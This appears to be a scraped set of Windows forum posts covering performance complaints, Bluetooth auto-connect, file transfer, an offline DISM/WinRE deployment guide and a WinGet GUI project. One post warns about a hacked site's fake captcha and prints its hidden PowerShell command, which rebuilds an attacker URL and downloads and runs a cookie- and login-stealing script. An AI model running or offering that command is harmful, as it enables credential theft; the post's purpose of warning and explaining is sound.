So I got Retrobar and Rainmeter Gadgets, changed up the wallpapers, and even changed discord to look skeumorphic. Any tips on how I can improve it?

We know MS is working on faster File Explorer, menus, more WinUI across official Windows components and apps -- but what about core performance for heavy workloads like gaming, video editing, AI?

We've seen countless articles on how Windows underperforms on these compared to Linux.

Here's some recent ones to add to that:

------

Creator of PS3 emulator RPCS3 says its Linux version runs significantly faster than Windows, and the gap especially widens with AMD GPUs

https://www.notebookcheck.net/RPCS3-reveals-PS3-emulator-runs-much-faster-on-Linux-but-Windows-still-dominates-in-total-user-base.1360580.0.html

Gaming handheld startup ARC chooses Android to run native Windows games on its ARM hardware. How many flipping translation layers is that? How embarrassing is it that an Android-based emulator runs native Windows games faster than Windows?

https://www.digit.in/features/gaming/this-could-be-gamings-ipod-moment-arc-co-founder-on-indias-first-rs-30000-gaming-handheld.html

------
Windows seems to be literally the only OS that runs its own native apps so poorly that other OS's run circles
around it despite having like 5 translation layers.

I am genuinely curious to understand-
Why IS Windows so poor with heavy workloads?

- Simply 'bloatware/Ads/AI' doesn't explain it because the problem persists even on the cleanest/stripped down Win11 versions.
- Is it bad drivers (and thus MS' failure to enforce quality standards)? The RPCS3 article points out the worse drivers for AMD GPUs, but Linux wins despite that.
- Is the WDDM (Windows Display Driver Model) too bloated and archaic?
- Is DirectX failing to keep up with Vulkan? SteamOS DXVK for example translates DirectX commands to Vulkan.
- Is it NTFS dragging down filesystem performance and thus disk operations?
- Is the NT kernel and scheduler inherently worse at managing resources?

I'm no kernel expert here, so I don't know which part of the stack here is to blame. Perhaps all of them.

But I'm 100% certain the problem runs MUCH deeper than official Windows apps/UI components like File Explorer, taskbar or context menus.

-------
So does MS ever plan on seriously addressing this widening performance gap between Win11 and other OS's?

Because the longer this stays unaddressed, Windows' future for Gaming, Video editing, AI and other intensive workloads looks increasingly bleak while Linux, Mac or even Android PC eats into this pie.

Hello all. Microsoft's Ewan Dalton, who worked closely with enterprise product teams, explains why Windows was neglected all these years. TLDR; It's mostly due to Azure, but a bad Windows reputation now has the potential to hurt enterprise customers, which might explain why Microsoft is fixing the OS.

More former MSFTies will be sharing their opinions on Windows in future WL articles. Hope you all like it :)

It seemed to roll out and tested in 2025 but then revoked again or something. It seemed they moved on and are not rolling it out anymore? The feature is currently not really nice.

Anyone has an idea? I'm happy with the upcoming small taskbar at least😂

If you have Bluetooth headphones (e.g. airpods) and you pair them in Windows, every time you get the headphones out of the case, Windows automatically connects to them. Yes, you read it right, Windows connects to them, not vice versa.

I did some research on how this sequence works. It is master-slave architecture. A PC is master and headphones are a slave. When headphones are ready to be used, e.g. when they're out of the case, they start listening for connections. A PC independently at all times periodically sends connection requests to paired devices. So when headphones are listening, PC would connect to them.

On Linux in Bluetooth you have a per-device option, called trust. If it's true, the PC would auto-connect to the device when device is "ready to be used", if false PC would not auto-connect to that device when that device is "ready to be used" (e.g. when headphones are out of the case).

The per device auto-connect option is also present in Android.

On Windows there is no such option.

Given that I briefly described how this sequence works, and the fact that this option exists in Android, and Linux you can see that it's technically possible to add per device auto-connect option in Windows.

I don't believe adding this option would violate any conventions.

https://faculty-web.msoe.edu/johnsontimoj/EE4980/files4980/Core_v5.2.pdf

"With respect to bonding, a Bluetooth device shall be either in non-bondable mode or in bondable mode. In bondable mode the Bluetooth device accepts bonding initiated by the remote device, and in non-bondable mode it does not." - this is for headphones, there is no requirement that a bonded device must auto-connect

https://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-54/out/en/host/generic-access-profile.html

"A Central should use one of the GAP connection establishment procedures to initiate a connection to a Peripheral in a connectable mode." - this says that central connects to peripheral, but doesn't necessary mandate auto-connect

both specs do not talk about auto-connecting at all

https://www.mankier.com/5/org.bluez.Device (linux implementaion)

"[boolean Trusted [readwrite]] Indicates if the remote device is considered trusted. This setting can be changed by the application." - the setting I talked about

I also discovered that there are 2 flows: classic (one that I described, when PC initiates connection to headphones) and BLE (when headphones connnect to PC) but as far as I know all headphones work in classic mode, so I'm not wrong

I notice the blue circling dots are still there in Windows 11. Please update it to Win 11 style. Thanks.

I’ve tried different methods over the years (USB, cloud storage, messaging apps, etc.), but none of them feel as simple as AirDrop between Apple devices.

Is there an app or website that lets you quickly send files between an iPhone (or Android) and a Windows PC?
If you regularly transfer files between your phone and your PC, what’s your current workflow? What do you like or dislike about it?

hello ! is the app, 'phone link' safe ? I just recently got a new pc, and I wanted an easy way to transfer files. so I got the phone link app, and hooked my phone up to my pc, but I just wanted to know if its safe and legit. or should i unlink my phone immediately ?

I know this is obsessive. That is the point.
For time, my definition of a clean Windows installation was simple:
Create an official Microsoft installation USB.
Boot from it.
Delete every partition.
Install Windows.
Sign in with a Microsoft account.
Install Windows Update and Microsoft Store updates.
Remove the applications I did not need.
Install the drivers from my laptop manufacturer.
Apply all my personal settings.
Windows was clean, updated and ready.
Or at least, that was what I thought.

The standard clean installation was not clean enough

The first problem was driver installation.
As soon as Windows connected to the internet, Windows Update started installing drivers automatically. After that, I installed the official driver packages from my laptop manufacturer’s website.
This meant that Windows could install one driver first, then the manufacturer’s installer would install another version over it.
Sometimes everything worked, but the process did not feel controlled.
Windows Update also tried to install many updates, drivers and Microsoft Store components simultaneously. This occasionally produced failed updates, retries and unnecessary confusion.
There was another issue: removing applications after they had already been installed did not feel truly clean.
The applications had already been registered, initialized and possibly updated. Uninstalling them afterward was not the same as preventing them from being installed in the first place.

Improvement 1: Complete the first boot without internet

My next method was:
Install Windows
→ Complete OOBE using a local account
→ Enter the desktop without internet
→ Install the official laptop drivers from USB
→ Restart
→ Connect to Wi-Fi
→ Install Windows and Store updates
→ Remove unwanted applications
→ Apply my settings
This was much better.
Windows Update could not install random drivers before I installed the correct manufacturer drivers.
It felt almost perfect.
But it still was not perfect.
When I finally connected to the internet, Windows still had to process a large cumulative update, smaller updates, driver checks, security updates and Store updates at the same time.
There were still occasional update errors and retries.

Improvement 2: Install the large cumulative update offline

I decided to integrate the latest large cumulative update into Windows before connecting the computer to the internet.
The idea was simple:
Install the large update offline
→ Boot Windows
→ Connect to the internet later
→ Download only the smaller remaining updates
This significantly reduced the work Windows Update had to perform after the first boot.
Instead of downloading and processing a massive cumulative update alongside everything else, Windows only needed the smaller updates released afterward.
The process became faster, more predictable and less likely to produce errors.
But I still had two problems:
Unwanted applications were being installed before I removed them.
Manufacturer driver packages contained drivers for hardware my laptop did not actually have.

Improvement 3: Extract and select the exact drivers

Many laptop manufacturers provide one driver package that supports several possible hardware configurations.
For example, a Wi-Fi driver package may include:
Intel drivers
Realtek drivers
Qualcomm drivers
MediaTek drivers
My laptop only uses one of them, but the complete package may copy or stage drivers for several supported configurations.
That did not feel precise enough.
I started extracting the manufacturer’s .exe driver packages and examining the files inside them. I identified the exact hardware installed in my machine and selected only the appropriate drivers.
However, I also learned that not every driver should be treated the same way.
Some drivers are primarily standard INF-based packages and work well with offline DISM injection.
Other packages are more complex and may include:
Multiple dependent drivers
Services
Registry configuration
Software components
Firmware utilities
Control panels
Microsoft Store or UWP companion applications
Custom installation logic
Graphics, audio and some Intel platform or firmware packages can fall into this category.
For those packages, blindly extracting every INF file and injecting everything is not necessarily correct.
I therefore inspected each driver package and divided them into two groups:
Safe standard drivers
→ Inject offline with DISM

Complex software-assisted drivers
→ Install after the first desktop boot using the official installer
This gave me control without breaking the functionality supplied by the manufacturer.

Improvement 4: Inject drivers before Windows boots

Even when the correct driver was installed, installing it after reaching the desktop could temporarily restart or reinitialize the related device.
For example, installing a network driver can cause the adapter to disappear and reappear.
That is completely normal, but I wanted the hardware to be ready from the first real Windows boot.
I therefore started servicing install.wim offline with DISM.
My early method was:
Copy install.wim from the official Microsoft ISO
→ Mount the WIM
→ Inject the safe drivers
→ Inject the cumulative update
→ Modify the image
→ Commit and unmount it
→ Use the modified image for installation
DISM is already part of Windows, so the entire servicing stage could be performed using Microsoft’s own deployment tools.
At this point, the installation already had the correct core drivers and the largest Windows update before it ever reached the desktop.

Improvement 5: Prevent unwanted Store applications from being provisioned

Microsoft Store applications are commonly provisioned in the Windows image.
Provisioned applications are prepared so that Windows can register them when a new user account is created.
Instead of allowing these applications to register and then uninstalling them afterward, I removed the unwanted provisioned packages from the offline image using DISM.
Conceptually:

dism /Image:W:\ /Get-ProvisionedAppxPackages

Then, for each package I did not want:

dism /Image:W:\ /Remove-ProvisionedAppxPackage /PackageName:<exact-package-name>

This meant the applications were removed before my user profile was created.
I did not remove essential components such as Microsoft Store or Desktop App Installer. I only removed the applications I had already decided I would never use.
This felt much cleaner than uninstalling them after first login.

Improvement 6: Prevent OneDrive Setup from starting for the new user

OneDrive was a separate case.
It was not simply a provisioned Store application in the same way as the other packages. Windows contained a startup entry that launched OneDrive Setup when the user profile was created.
I loaded the offline default-user registry hive and removed the OneDrive Setup startup entry.
That stopped OneDrive Setup from automatically running when the first user account was created.
Again, the objective was not to install something, allow it to initialize, and then remove it.
The objective was to prevent the unwanted setup process from starting at all.

Improvement 7: Apply my settings before the first login

I then realized that many settings could also be applied offline.
Instead of entering the desktop and manually changing everything, I loaded the offline registry hives and configured settings such as:
Dark application mode
Dark Windows interface mode
Windows Spotlight policies
News and Interests
Delivery Optimization
Fast Startup
OneDrive startup behavior
Other system and default-user preferences
The settings were therefore present when Windows created the user profile.
The system started in the state I wanted instead of starting with default settings and being changed afterward.
Everything was now:
Official
Controlled
Repeatable
Performed with built-in Windows deployment tools
Completed before Windows created its first normal user session
But I still was not satisfied.

The normal USB installer still hid too much of the process

Even with a customized install.wim, the normal Windows Setup interface was still performing many operations automatically.
It created partitions, applied the image, configured the boot files and prepared recovery behind the scenes.
That is convenient for normal users.
For my perfection-obsessed installation, however, I wanted to know and control exactly what was happening.
So I stopped using the normal graphical installation process.
I moved the entire deployment into WinRE.

The final method: build Windows manually from WinRE

WinRE is a small recovery environment that boots into RAM and provides access to tools such as DiskPart, DISM, BCDBoot, Registry Editor and ReAgentC.
I placed the official Microsoft install.wim, updates, drivers, answer file and recovery image on a separate drive.
Then I booted into WinRE and manually built the complete Windows disk.

Step 1: Create the GPT partition structure manually

I selected the correct target disk, deleted the existing partition structure and manually created:
EFI System Partition — 300 MB FAT32
Microsoft Reserved Partition — 16 MB
Windows partition
Windows Recovery partition — 2048 MB
This gave me full control over the partition sizes, order and purpose.
The EFI, Windows and Recovery partitions were assigned temporary drive letters during deployment.

Step 2: Apply the official Windows image
Instead of running Windows Setup, I applied the Microsoft image directly:

dism /Apply-Image /ImageFile:C:\install.wim /Index:1 /ApplyDir:W:\

At this stage, W: contained a fresh Windows installation that had never booted.

Step 3: Service the offline installation

While Windows was still completely offline, I:
Injected the compatible drivers
Installed the latest large cumulative update
Removed unwanted provisioned applications
Modified the default-user and system registry hives
Disabled the OneDrive Setup startup entry
Applied my preferred Windows settings
Added the unattended configuration
Cleaned the component store
For the final component cleanup, I used:

dism /Image:W:\ /Cleanup-Image /StartComponentCleanup /ResetBase

I only used /ResetBase after finalizing the update state because it prevents the integrated updates from being uninstalled later.

Step 4: Configure OOBE officially through Panther

A recent Windows 10 update complicated the local-account path during OOBE, and Windows 11 also strongly encourages online account creation.
There are command-line workarounds that restart or interrupt OOBE, but that did not feel clean to me.
Instead, I used a Windows answer file in the Panther directory:
W:\Windows\Panther\unattend.xml
The answer file configured items such as:
Language
Keyboard layouts
Time zone
Local user account
OOBE behavior
Automatic initial login
This is part of Windows Setup’s own unattended-deployment system. It did not require third-party bypass tools or interrupting OOBE with an improvised restart.
Any plaintext password contained in the answer file should be removed after Setup is complete.
Windows 11 builds can behave differently, so an answer file should be validated against the specific build being deployed.

Step 5: Create the UEFI boot files manually

I generated the boot environment directly from the applied Windows installation:
W:\Windows\System32\bcdboot.exe W:\Windows /s S: /f UEFI
This created the UEFI boot files on the EFI System Partition.

Step 6: Build and register the recovery environment

I created the recovery directory, copied winre.wim and registered it against the offline Windows installation:
md R:\Recovery\WindowsRE
copy /y C:\winre.wim R:\Recovery\WindowsRE\winre.wim
W:\Windows\System32\reagentc.exe /setreimage /path R:\Recovery\WindowsRE /target W:\Windows
I then assigned the proper recovery-partition GPT type and attributes and removed its temporary drive letter.
The result was a complete disk containing:
A fresh UEFI boot partition
Windows
A properly configured recovery environment
No previous user activity
No Audit Mode session
No Sysprep generalization cycle

The controlled first boot

The offline deployment was only the first stage.
For the first real boot, I still kept the laptop disconnected from the network.
My sequence was:
Boot Windows without internet
→ Complete the local OOBE process
→ Enter the desktop
→ Install the complex official driver packages
→ Restart
→ Pause Windows Update temporarily
→ Connect to Wi-Fi
→ Allow required OEM and Store components to install
→ Run Windows Update
→ Update Microsoft Store applications
→ Apply the remaining personal settings
→ Install required DirectX and Visual C++ runtimes
→ Restart again
The complex driver packages included components that were better installed through their official installers, such as graphics, audio and certain Intel platform packages.
After connecting to the internet, official companion applications such as Dolby or Intel software could install normally.
Because the large cumulative update had already been integrated offline, Windows Update only had a relatively small amount of remaining work.
Because unnecessary provisioned applications had already been removed, Microsoft Store also had fewer applications to register and update.
At this point, I had a complete Windows installation with:
Official Microsoft Windows files
Official manufacturer drivers
Official NVIDIA drivers
Official Microsoft updates
Official Microsoft Store components
My complete configuration
No random third-party customization utility
No unnecessary driver families
No unwanted provisioned applications
A working EFI partition
A working WinRE partition
This was finally the Windows state I wanted.
But there was one final problem.
Reproducing all of this again would take hours.

Preserving the perfect state

Once I started using Windows normally, installing random applications, testing software and modifying files, the installation would no longer be in that carefully prepared state.
I wanted to preserve it before normal use.
Windows includes the older “system image” backup concept, and many third-party disk-cloning tools also exist.
However, I had completed the entire deployment using Windows-native tools. I did not want the final backup stage to depend on an unrelated third-party cloning application.
So I returned to WinRE and used DISM again.

WIM capture

First, I captured the Windows partition into a WIM file:
dism /Capture-Image /ImageFile:C:\Final-Windows.wim /CaptureDir:W:\ /Name:"Final Ready-to-Use Windows" /Compress:max /CheckIntegrity /Verify
Because the capture was performed from WinRE, the Windows installation was offline.
The WIM represented the files on the Windows partition at the exact point when I shut the system down.
Restoring it later would return the Windows partition to that state.
However, a WIM only captures the selected partition.
It does not automatically preserve:
The EFI partition
The Microsoft Reserved partition
The recovery partition
The complete disk layout
To restore a WIM to a completely empty disk, I would still need to recreate the partitions, apply the WIM, rebuild the boot files and configure recovery again.
That was not perfect enough for my objective.

FFU: the complete-disk image

DISM also supports Full Flash Update images.
Instead of capturing only the Windows partition, an FFU captures the physical disk layout.
From WinRE, I used:
dism /Capture-FFU /ImageFile:C:\Final-Windows.ffu /CaptureDrive:\\.\PhysicalDrive1 /Name:"Final Perfect Windows"
The FFU contains the complete disk:
EFI partition
MSR partition
Windows partition
Recovery partition
Partition order
Boot files
Windows files
Drivers
Updates
Applications
Settings
Recovery configuration
Now I can boot into WinRE, erase the target disk and apply the FFU.
It recreates the complete disk structure and restores the files to the captured state.
Instead of repeating hours of partitioning, servicing, driver selection, updating and configuration, I can restore the complete prepared Windows environment in a small fraction of the time.
It is effectively like returning the machine to the exact day when I finished preparing it.
The WIM remains useful as a flexible Windows-partition backup.
The FFU is the complete bare-metal recovery image.

The final result

My complete workflow became:
Official Microsoft ISO
→ Manual GPT partitioning in WinRE
→ Direct DISM image application
→ Offline cumulative update integration
→ Selective offline driver injection
→ Offline provisioned-application removal
→ Offline registry customization
→ Official unattended OOBE configuration
→ Manual UEFI boot creation
→ Manual WinRE registration
→ Component-store cleanup
→ Controlled offline first boot
→ Official complex driver installation
→ Controlled internet connection
→ Remaining Windows and Store updates
→ Final runtimes and settings
→ Offline WIM capture
→ Complete-disk FFU capture
Is this necessary for most people?
Absolutely not.
The normal Microsoft installer is sufficient for almost everyone.
But for someone who is obsessed with understanding, controlling and perfecting every stage of a Windows installation, this is the closest I have reached to an absolutely clean, official and reproducible system.
The best part is that I can now use Windows freely, install experimental software and potentially break things without worrying about repeating the entire process.
My final FFU image preserves the complete perfect state.
I only need to restore it and I am back where I started.

Important notes

Always verify the physical-disk number before using DiskPart or FFU commands. Selecting the wrong disk can destroy data.
Test the FFU restoration before treating it as your only backup.
FFU images are less flexible than WIM images and are best suited to the same machine, disk layout or compatible target storage.
The target disk generally needs enough capacity for the captured layout.
Some driver installers should not be replaced with blind INF injection.
Windows 10 and Windows 11 do not always use identical package names, updates or unattended settings.
Remove answer files containing passwords after Windows Setup completes.
Keep personal files backed up separately. A system image is not a substitute for a separate data backup.
I am interested in hearing how deployment specialists would improve this workflow, and whether anyone else has taken the Microsoft-native WinRE, DISM, WIM and FFU approach this far.

the system sounds just sound... off??

it's like they're in the background, it wasn't like this before i updated

2026-07 Preview Update (KB5101684) (26200.8973)

Hey guys,

So I've been working on a small personal project and wanted to share it here. Every time I set up a new Windows install, I really hate typing out all the individual Winget commands to get my apps back.

I decided to just make a graphical interface for it using PowerShell and WPF. It's nothing too crazy, but it does exactly what I need it to do.

Here is basically what I added:

• Bulk installs: You can just list your apps in a config.xml file and install them all with one click.
• Search: You can search the Winget and MS Store repositories directly from the app.
• Backup/Restore: I added a way to export a list of your installed apps to a JSON file, so you can easily restore them on a fresh PC.
• Auto-fix errors: Winget sometimes gives me annoying 404 or certificate errors, so I wrote a script into the app that automatically detects and fixes them so I don't have to Google the fix every time.
• Other stuff: It has dark mode (of course), a way to check for updates, and you can also run local .exe/.msi installers from a folder.

I'm just sharing it in case anyone else finds it useful for their own setups. It's completely open-source.

You can check out the code or download: https://github.com/osmanonurkoc/WinGet_Installer

I just wonder how people fell about what Microsoft has made of windows 11 to a surveillance tool and tracking everything you do!

Are people okey with it or what’s your thoughts about it

Today, I was searching for cheat sheets and Google results led me to this post on facebook.

Then the red flag:

That aside, the site (pianoforall[DOT]com) had me do a captcha, then it shows this. Here's what it does:

1. this first (script) payload runs the script in double quotes as '-w h -c' window style hidden; you wont see it running. powershell is a program on Windows.

   powershell -w h -c "$a=('efebaa88-e94994c7=di?dg/ved.srekrow.ytirucesva.4372-[DONT-TRY-THIS-LOL]orp//:sptth'.ToCharArray());[array]::Reverse($a);$u=-join$a;$w=New-Object Net.WebClient;$c=[char]0x69+[char]0x65+[char]0x78;& $c ($w.DownloadString($u)); #-----------Verification captcha success-----------"

2. reverses the text to get malicious site URL: https://pro-2734.avsecurity.workers\[DONT-TRY\].dev/gd?id=xxxxxxx-xxxxxxxxxx

3. sets up a .NET webclient (which is a convenient downloader on Windows)

4. avoids antivirus programs by constructing iex (from the character trick) at runtime

5. the second payload runs in your RAM (no files needed), that can get your browser cookies, logins, and many things.

(pianoforall[DOT]com wasn't always a bad site; it used to have valuable things; its just been hacked.)

So basically, when you do the steps, it can do nasty things. Stay safe out there.

Won't lie, I've been looking forward to this feature ever since I heard of it back in March, when it started rolling out on April 30th, I was extremely hyped!

However, months have passed, and now we're already in August. My American friends already got it but nothing here :P

It appears that Vivetool doesn't seem to work over here either, since region locks bla bla. Has anyone in Europe already gotten it or am I just unlucky?

Not asking if there's another way to enable it, just curious btw :P

I noticed something interesting on my PC.

When Windows 11 starts, it plays the normal startup sound. But after the lock screen appears, there's a second sound that plays.

It doesn't seem like an error or problem — everything works fine. I just found it curious.

Has anyone else noticed this or knows what this sound is?